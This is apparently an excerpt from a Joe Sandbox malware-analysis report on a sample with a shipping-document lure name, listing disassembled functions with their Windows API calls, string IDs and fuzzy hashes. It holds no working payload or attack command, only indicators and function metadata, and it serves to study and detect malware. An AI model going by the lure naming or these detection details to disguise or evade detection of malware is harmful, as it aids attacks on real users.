                                                • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00A286FF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InvalidateRect
                                                • String ID: @U=u
                                                • API String ID: 634782764-2594219639
                                                • Opcode ID: 29786cc7657960f029cd193e6613567c005cdf10169d15f07b39a9b06804a6c5
                                                • Instruction ID: 40cfc9d0875871cb26a1a981a70bf1d844b747b025a536f76351f10d123fb537
                                                • Opcode Fuzzy Hash: 29786cc7657960f029cd193e6613567c005cdf10169d15f07b39a9b06804a6c5
                                                • Instruction Fuzzy Hash: 8C51AE30602264BEEB249F6CEC85FA93BB5EB05760F604135F910E61A1CF79A980DB40
                                                Function 009A2B72 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 161windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 009DC2F7
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 009DC319
                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 009DC331
                                                • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 009DC34F
                                                • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 009DC370
                                                • DestroyIcon.USER32(00000000), ref: 009DC37F
                                                • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 009DC39C
                                                • DestroyIcon.USER32(?), ref: 009DC3AB
                                                  • Part of subcall function 00A2A4AF: DeleteObject.GDI32(00000000), ref: 00A2A4E8
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                • String ID: @U=u
                                                • API String ID: 2819616528-2594219639
                                                • Opcode ID: 74a38aadad68a1c18db386bf48a2479dd9ab34ba8813fec623329691a08c3367
                                                • Instruction ID: ab09cdd60c57802355daf6d003e4ffeb8d7f34f6c186b0691268a24d3949a6c3
                                                • Opcode Fuzzy Hash: 74a38aadad68a1c18db386bf48a2479dd9ab34ba8813fec623329691a08c3367
                                                • Instruction Fuzzy Hash: 58517D70A4020AEFDB24DF68CC45FAA77B9EB59310F108529F952D7290D7B0ED91DBA0
                                                Function 009A9837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __i64tow__itow__swprintf
                                                • String ID: %.15g$0x%p$False$True
                                                • API String ID: 421087845-2263619337
                                                • Opcode ID: c2b568d26756e1933faee492e9dd5bc676da21c453100b77e9a245300f4a8647
                                                • Instruction ID: 0920cd11d1723c2167b50b14edde490d49257ceb33d9b08386f06e747572960f
                                                • Opcode Fuzzy Hash: c2b568d26756e1933faee492e9dd5bc676da21c453100b77e9a245300f4a8647
                                                • Instruction Fuzzy Hash: 9D41B571900205AFDB24DF78D852F7A73ECFF86300F20886EF54ADB291EA3999418B51
                                                Function 00A27152 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A2716A
                                                • CreateMenu.USER32 ref: 00A27185
                                                • SetMenu.USER32(?,00000000), ref: 00A27194
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A27221
                                                • IsMenu.USER32(?), ref: 00A27237
                                                • CreatePopupMenu.USER32 ref: 00A27241
                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00A2726E
                                                • DrawMenuBar.USER32 ref: 00A27276
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                • String ID: 0$F
                                                • API String ID: 176399719-3044882817
                                                • Opcode ID: f0f71fbe065b47539dbd2a34e0a5e13a0febe54d7939c5cc673d38aec2c95bdb
                                                • Instruction ID: 247eedf0e505c57af492ebc5706b25fa0fb1c0c3fd20334871bbaf460026ed93
                                                • Opcode Fuzzy Hash: f0f71fbe065b47539dbd2a34e0a5e13a0febe54d7939c5cc673d38aec2c95bdb
                                                • Instruction Fuzzy Hash: BC414774A01215EFDB20DFA8E984EEA7BB5FF49310F140038F945A7361D731AA11CBA0
                                                Function 009F8F8F Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 009FAABC
                                                • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 009F9014
                                                • GetDlgCtrlID.USER32 ref: 009F901F
                                                • GetParent.USER32 ref: 009F903B
                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 009F903E
                                                • GetDlgCtrlID.USER32(?), ref: 009F9047
                                                • GetParent.USER32(?), ref: 009F9063
                                                • SendMessageW.USER32(00000000,?,?,00000111), ref: 009F9066
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                • String ID: @U=u$ComboBox$ListBox
                                                • API String ID: 1536045017-2258501812
                                                • Opcode ID: 7c2719a3686cdadd030d366bf2fa8976223d1281bafae56934abb2d28d1a2cb0
                                                • Instruction ID: dfcbdee14eed876a4b52fcdbac4f4393f6fe3457f8e6da958e0db74a23a7aa1b
                                                • Opcode Fuzzy Hash: 7c2719a3686cdadd030d366bf2fa8976223d1281bafae56934abb2d28d1a2cb0
                                                • Instruction Fuzzy Hash: FB21C474A00108BFDF14EBA4CC85FFEBB79EF89310F100129BA21972A1DB75585ADB20
                                                Function 009F907A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 81windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                  • Part of subcall function 009FAA99: GetClassNameW.USER32(?,?,000000FF), ref: 009FAABC
                                                • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 009F90FD
                                                • GetDlgCtrlID.USER32 ref: 009F9108
                                                • GetParent.USER32 ref: 009F9124
                                                • SendMessageW.USER32(00000000,?,00000111,?), ref: 009F9127
                                                • GetDlgCtrlID.USER32(?), ref: 009F9130
                                                • GetParent.USER32(?), ref: 009F914C
                                                • SendMessageW.USER32(00000000,?,?,00000111), ref: 009F914F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CtrlParent$ClassName_memmove
                                                • String ID: @U=u$ComboBox$ListBox
                                                • API String ID: 1536045017-2258501812
                                                • Opcode ID: 06073a666a3894802d41a04a145ebea87ea8ad1489cae6ea8de18bd177d50383
                                                • Instruction ID: 4ea10ec9a648665ebc1b4cc204d2c3b9b412c388a612735869fb1390270b12f7
                                                • Opcode Fuzzy Hash: 06073a666a3894802d41a04a145ebea87ea8ad1489cae6ea8de18bd177d50383
                                                • Instruction Fuzzy Hash: B021B374A00108BFDF11ABA5CC85FFEBB79EF89300F104025BA11972A1DB79985ADB20
                                                Function 009F9163 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 72windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32 ref: 009F916F
                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 009F9184
                                                • _wcscmp.LIBCMT ref: 009F9196
                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 009F9211
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ClassMessageNameParentSend_wcscmp
                                                • String ID: @U=u$SHELLDLL_DefView$details$largeicons$list$smallicons
                                                • API String ID: 1704125052-1428604138
                                                • Opcode ID: a1720d2f3317c51610a0a892c5ce6c7a39569a964223e54df453a10ff15a234b
                                                • Instruction ID: 15fea952a01ec5bb2efc8501b6c72e35ef1c3ff49e60e33d52d73fdcabb4af08
                                                • Opcode Fuzzy Hash: a1720d2f3317c51610a0a892c5ce6c7a39569a964223e54df453a10ff15a234b
                                                • Instruction Fuzzy Hash: AD11CA3A64C30BB9FA212728EC06FFB379CFB15721B200436FE11B54E1EE6168565695
                                                Function 009C6E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 009C6E3E
                                                  • Part of subcall function 009C8B28: __getptd_noexit.LIBCMT ref: 009C8B28
                                                • __gmtime64_s.LIBCMT ref: 009C6ED7
                                                • __gmtime64_s.LIBCMT ref: 009C6F0D
                                                • __gmtime64_s.LIBCMT ref: 009C6F2A
                                                • __allrem.LIBCMT ref: 009C6F80
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C6F9C
                                                • __allrem.LIBCMT ref: 009C6FB3
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C6FD1
                                                • __allrem.LIBCMT ref: 009C6FE8
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009C7006
                                                • __invoke_watson.LIBCMT ref: 009C7077
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                • String ID:
                                                • API String ID: 384356119-0
                                                • Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                • Instruction ID: 2c9b49b6cdd8ab465d85c661b03b4530528c4274dbb12adda6508b5baafe962e
                                                • Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
                                                • Instruction Fuzzy Hash: 5171F576E40717ABD714EE68DC41F5AB7A8AF44320F14862EF514E72C2E770DD508B92
                                                Function 00A02527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A02542
                                                • GetMenuItemInfoW.USER32(00A65890,000000FF,00000000,00000030), ref: 00A025A3
                                                • SetMenuItemInfoW.USER32(00A65890,00000004,00000000,00000030), ref: 00A025D9
                                                • Sleep.KERNEL32(000001F4), ref: 00A025EB
                                                • GetMenuItemCount.USER32(?), ref: 00A0262F
                                                • GetMenuItemID.USER32(?,00000000), ref: 00A0264B
                                                • GetMenuItemID.USER32(?,-00000001), ref: 00A02675
                                                • GetMenuItemID.USER32(?,?), ref: 00A026BA
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A02700
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A02714
                                                • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00A02735
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                • String ID:
                                                • API String ID: 4176008265-0
                                                • Opcode ID: af10766157ea1b89ae4c4d7745e030e9461571d5f7cd2e2d31901edee32ef8e0
                                                • Instruction ID: 6fbc6f7353a9f6a06b10554e3c5212b68e489bdf0bf1382bfccc9af4b443394e
                                                • Opcode Fuzzy Hash: af10766157ea1b89ae4c4d7745e030e9461571d5f7cd2e2d31901edee32ef8e0
                                                • Instruction Fuzzy Hash: A7617EB090034DAFDB21CFA4ED9CEBE7BB8EB45344F140569E841A7291D772AD06DB21
                                                Function 00A26F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00A26FA5
                                                • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00A26FA8
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00A26FCC
                                                • _memset.LIBCMT ref: 00A26FDD
                                                • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00A26FEF
                                                • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00A27067
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$LongWindow_memset
                                                • String ID:
                                                • API String ID: 830647256-0
                                                • Opcode ID: c79f554b5a41bc97873c2212eb9af88ef7c44f09e9f7839c0b94cc91cdc5c404
                                                • Instruction ID: ff755970d8d1063923352a61d252d26e387e53f6879b8f6e24a52ae86747796c
                                                • Opcode Fuzzy Hash: c79f554b5a41bc97873c2212eb9af88ef7c44f09e9f7839c0b94cc91cdc5c404
                                                • Instruction Fuzzy Hash: BC618D71900218AFDB11DFA8DD81EEE77F8EF49710F104169FA14AB2A1C771AE45DBA0
                                                Function 009F6B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 009F6BBF
                                                • SafeArrayAllocData.OLEAUT32(?), ref: 009F6C18
                                                • VariantInit.OLEAUT32(?), ref: 009F6C2A
                                                • SafeArrayAccessData.OLEAUT32(?,?), ref: 009F6C4A
                                                • VariantCopy.OLEAUT32(?,?), ref: 009F6C9D
                                                • SafeArrayUnaccessData.OLEAUT32(?), ref: 009F6CB1
                                                • VariantClear.OLEAUT32(?), ref: 009F6CC6
                                                • SafeArrayDestroyData.OLEAUT32(?), ref: 009F6CD3
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 009F6CDC
                                                • VariantClear.OLEAUT32(?), ref: 009F6CEE
                                                • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 009F6CF9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                • String ID:
                                                • API String ID: 2706829360-0
                                                • Opcode ID: d67a474da72040af3d206553aed27b3e8ec31041e1e0b72e6483ceb36a44e6fd
                                                • Instruction ID: 91d4507752ff29f8be8d70fe2eb5d18d67ddc82fc7a51aa20ebbbd223f70554f
                                                • Opcode Fuzzy Hash: d67a474da72040af3d206553aed27b3e8ec31041e1e0b72e6483ceb36a44e6fd
                                                • Instruction Fuzzy Hash: 8441347590021D9FCF10EFA8D8449BEBBB9FF48354F008075EA95D7261CB74AA46CB90
                                                Function 00A2D43E Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 257windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A2612: GetWindowLongW.USER32(?,000000EB), ref: 009A2623
                                                • GetSystemMetrics.USER32(0000000F), ref: 00A2D47C
                                                • GetSystemMetrics.USER32(0000000F), ref: 00A2D49C
                                                • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00A2D6D7
                                                • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00A2D6F5
                                                • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00A2D716
                                                • ShowWindow.USER32(00000003,00000000), ref: 00A2D735
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00A2D75A
                                                • DefDlgProcW.USER32(?,00000005,?,?), ref: 00A2D77D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                • String ID: @U=u
                                                • API String ID: 1211466189-2594219639
                                                • Opcode ID: 56105868207f769b0ca71b303e1a2871806b66e39a7ca7dce7dcfed40df3a519
                                                • Instruction ID: e42c40d6ff05f5dea7858f1d4013bd1da3917cd4f12374da50a83e52006a4177
                                                • Opcode Fuzzy Hash: 56105868207f769b0ca71b303e1a2871806b66e39a7ca7dce7dcfed40df3a519
                                                • Instruction Fuzzy Hash: 29B16871A00225AFDF18CF6CD985BA97BB1FF04711F088079EC48AB296D774A950CBA0
                                                Function 009A2E26 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 186windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowLongW.USER32(?,000000EB), ref: 009A2EAE
                                                  • Part of subcall function 009A1DB3: GetClientRect.USER32(?,?), ref: 009A1DDC
                                                  • Part of subcall function 009A1DB3: GetWindowRect.USER32(?,?), ref: 009A1E1D
                                                  • Part of subcall function 009A1DB3: ScreenToClient.USER32(?,?), ref: 009A1E45
                                                • GetDC.USER32 ref: 009DCD32
                                                • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 009DCD45
                                                • SelectObject.GDI32(00000000,00000000), ref: 009DCD53
                                                • SelectObject.GDI32(00000000,00000000), ref: 009DCD68
                                                • ReleaseDC.USER32(?,00000000), ref: 009DCD70
                                                • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 009DCDFB
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                • String ID: @U=u$U
                                                • API String ID: 4009187628-4110099822
                                                • Opcode ID: ae93b2737f07cdf124d54069b38bc69aa44e2de4a21745be952c5df7d0009054
                                                • Instruction ID: 83f078a57bb8aa36388dfdee26b242660168f0e54e3122467a878c780f7f6d4e
                                                • Opcode Fuzzy Hash: ae93b2737f07cdf124d54069b38bc69aa44e2de4a21745be952c5df7d0009054
                                                • Instruction Fuzzy Hash: 7F71A571500206DFCF21CF68CC84ABA7BBAFF49310F24867AED555A2A5D7358C91DBA0
                                                Function 00A15732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WSAStartup.WSOCK32(00000101,?), ref: 00A15793
                                                • inet_addr.WSOCK32(?,?,?), ref: 00A157D8
                                                • gethostbyname.WSOCK32(?), ref: 00A157E4
                                                • IcmpCreateFile.IPHLPAPI ref: 00A157F2
                                                • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00A15862
                                                • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00A15878
                                                • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00A158ED
                                                • WSACleanup.WSOCK32 ref: 00A158F3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                • String ID: Ping
                                                • API String ID: 1028309954-2246546115
